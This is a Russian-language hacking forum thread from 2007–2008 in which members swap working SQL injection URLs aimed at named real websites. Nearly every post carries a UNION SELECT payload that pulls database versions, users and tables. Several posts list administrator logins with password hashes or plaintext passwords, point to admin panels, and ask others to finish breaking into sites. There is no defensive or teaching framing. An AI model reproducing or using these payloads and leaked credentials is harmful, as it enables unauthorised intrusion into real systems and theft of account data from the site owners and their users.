SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    http://www.aei-brookings.org/events/page.php?id=-152+union+select+1,2,version()/*
    version: 4.0.25-standard-log
    database: aei_brooking
    user: [email protected]


    http://aviation-safety.net/wikibase/wiki.php?id=-16509+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2/*
    version:mysql-s-22-4.1. ???

    http://www.davisvisitor.com/sub.php?id=-1+union+select+1,2,3,4,5,version()/*
    version: MySQL 4.0.16


    http://wineserver.ucdavis.edu/people/faculty.php?id=-2+union+select+1,2,3,4,5,TABLE_SCHEMA,COLUMN_NAME,8,9,0,1,2,3,4,5,6,7,8,9+from+information_schema.COLUMNS+WHERE+TABLE_NAME=%22users%22+limit+26,1/*
    version: MySQL 5.0.27-standard


    http://www.coinsportal.ru/Bibliotheka/Article.php?ID=-1+union+select+1,2,version(),4,5/*
    version:MySQL 4.0.18
     
  2. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    http://www.roguegovernment.com/news.php?id=9770+union+select+1,version(),3,4,5,6,7,8,9,0/*
    версия:mysql4.1.22-standard
    выод между тегами title
    PR: 5
     
    1 person likes this.
  3. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://www.vdv.gcg.ru/forum/index.php?id=-2304+union+select+concat_ws(0x3a,version(),user(),database())--


    http://www.iclogic.com/catalogue/organisations/showorg.php?id=-1372+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15--

    edited: http://www.aktem.ru/frame.php?action=book&ID=-1111+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8--

    Версии 4.*
     
    #6323 Calcutta, 19 Aug 2008
    Last edited: 19 Aug 2008
  4. [AVT]

    [AVT] Member

    Joined:
    20 Dec 2007
    Messages:
    37
    Likes Received:
    16
    Reputations:
    1
    Супермаркет уникального контента Textsale.ru:
    http://www.textsale.ru/u-1+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*.html
    http://www.textsale.ru/canu-1+union+select+1,2,version(),4,5/*.html
    Путь:/home/l/loveumru/public_html/textsale/public_html/
    Больше ничего узнать не удается, т.к. хостер фильтрует 'from'.
     
  5. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Code:
    http://www.nottingham.ac.uk/library/library-sites.php?id=8+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8+LIMIT+1,1/*
    4.0.20-max-log:ulzljw_faqdb:[email protected]

    8
     
  6. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    http://www.danwessonfirearms.com/product_detail.php?id=-48+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6/*
    verion:4.0.21-standard
     
  7. SVAROG

    SVAROG Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    424
    Likes Received:
    86
    Reputations:
    -1
    http://www.phpbuddy.com/article.php?id=-8+union+select+version(),2,3,4,5,6/*
    version: 4.1.21-standard
     
  8. iron-viper

    iron-viper Elder - Старейшина

    Joined:
    13 Nov 2007
    Messages:
    167
    Likes Received:
    45
    Reputations:
    3
    http://diccionari-triat.com/rutinas.php?funcion=guardar&palabra=

    Вот что-то если не то, не бейте, сам не сог расковырять, если получиться выложите, интересно глянуть
     
    1 person likes this.
  9. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    Code:
    http://rubin-stomatology.ru/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,pass word,email,0,0,0,0,0,0,0,0,0,0,0,0,%20%200,0,0,0/**/from/**/jos_users/*
    админка
    http://rubin-stomatology.ru/administrator
     
  10. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://www.toolsupplies.co.uk/product_desc.php?id=875%20union%20select%20admin_password%20from%20admin/**
     
  11. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Code:
    http://www.krippenbauer.eu/tsnews4/news.php?tsnews4=comment&newsid=1%20UNION%20SELECT%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6/*
     
  12. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.prokit.co.uk/product.php?id=-1+union+select+1,2,concat(username,0x3a3a,password),4,5,6,7,8+from+prokit_users/*

    login:admin pass:8b36e28c44fcf9daacf25a877c530afc

    _______________________________

    http://www.ecitb.org.uk/administrator/index.php

    http://www.ecitb.org.uk/modules/getoffice.php?office=-1+union+select+1,2,3,concat(username,0x3a3a,password),5,6,7,8,9,10,11,12,13+from+jos_users+limit+0,10/*

    login:admin pass:cd9886f99d2337810ca3f22d5c6d9490:QFo41WOzVM1MT6YU
     
    #6332 Cennarios, 20 Aug 2008
    Last edited: 20 Aug 2008
    1 person likes this.
  13. USAkid

    USAkid Elder - Старейшина

    Joined:
    17 Jun 2008
    Messages:
    191
    Likes Received:
    76
    Reputations:
    29
    Наконец-то вернулся домой, отдохнул прекрасно. Тэкс, теперь за дело:

    mobilgamez.ru

    Code:
    http://mobilgamez.ru/ctlg.php?xn=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(version(),0x3a,user(),0x3a,database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--
    version() - 5.0.22
    user() - [email protected]
    database() - admin_mobilgamez

    Вывод производится в title.

    Сервер:
    nginx/0.6.31

    Админка какая-то странная, по идее тут:
    http://mobilgamez.ru/admin , ввел наугад логин/пароль admin/admin ... Подойти вроде подошло, но ошибку 500 показало... Вот так вотЪ :)
     
    1 person likes this.
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    version 4.1.14
    DBName ac_nazionale
    Username ac_nazionale@localhost

    version 4.0.18
    user vallecamonica_db@localhost
    DBName vallecamonica_db
     
    #6334 $n@ke, 20 Aug 2008
    Last edited: 20 Aug 2008
    1 person likes this.
  15. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://cfimmobilier.ch/voirPhoto.php?id=-1+union+select+1,2,concat(username,0x3a3a,password),4,5,6,7,8,9+from+admin_users+limit+1,10/*

    login:wrackweb password:*3C7033F3D7FABB8B62C78C38542F390CC2C969D5

    http://www.cfimmobilier.ch/admin/
     
  16. D1mka

    D1mka Elder - Старейшина

    Joined:
    2 Jan 2008
    Messages:
    123
    Likes Received:
    14
    Reputations:
    2
    http://inforce.com.ua/index.php?mi=1&detail=0%20union%20select%201,2,3,4

    USER() inforce_inforce@apollo
    DATABASE() inforce_inforce
    VERSION() 4.1.22-log

    можно еще что то зделать?
    подскажите в пм, если не трудно.
     
    2 people like this.
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.stoubos.gr/car_en.php?id=-1+union+select+concat(0x3a3a,username,0x3a3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14+from+stoub0s_cars.users+limit+0,1

    login: stoub0s pass: st9845st

    http://stoubos.gr/admin

    Зы: Админим буржуйский шоп....
     
    1 person likes this.
  18. 4p3

    4p3 Elder - Старейшина

    Joined:
    18 Aug 2008
    Messages:
    142
    Likes Received:
    30
    Reputations:
    0
    http://www.zaistinu.ru/admin - админка
    http://www.zaistinu.ru/articles/?sid=949+union+select+login+from+admins/*
    login=vma || login=editor1
    password выдавать не хочет, зараза.

    version = 5.0.32-Debian_7etch6-log

    Кто ломанет, отпишетсь, пожалуйста.
     
    1 person likes this.
  19. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    инет магазин
    Code:
    http://www.edenbio.com/garden/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,%20%200,0,0,0/**/from/**/jos_users/*
    http://www.edenbio.com/administrator
    ыыы оказалось я не 1 :)
     
    #6339 S0ulVortex, 21 Aug 2008
    Last edited: 21 Aug 2008
  20. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    карчое нашапке сайта написано так "морская среда и безопасность для европейской области"
    Code:
    http://mersea.santateresa.enea.it/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,%20%200,0,0,0/**/from/**/jos_users/*
     
Thread Status:
Not open for further replies.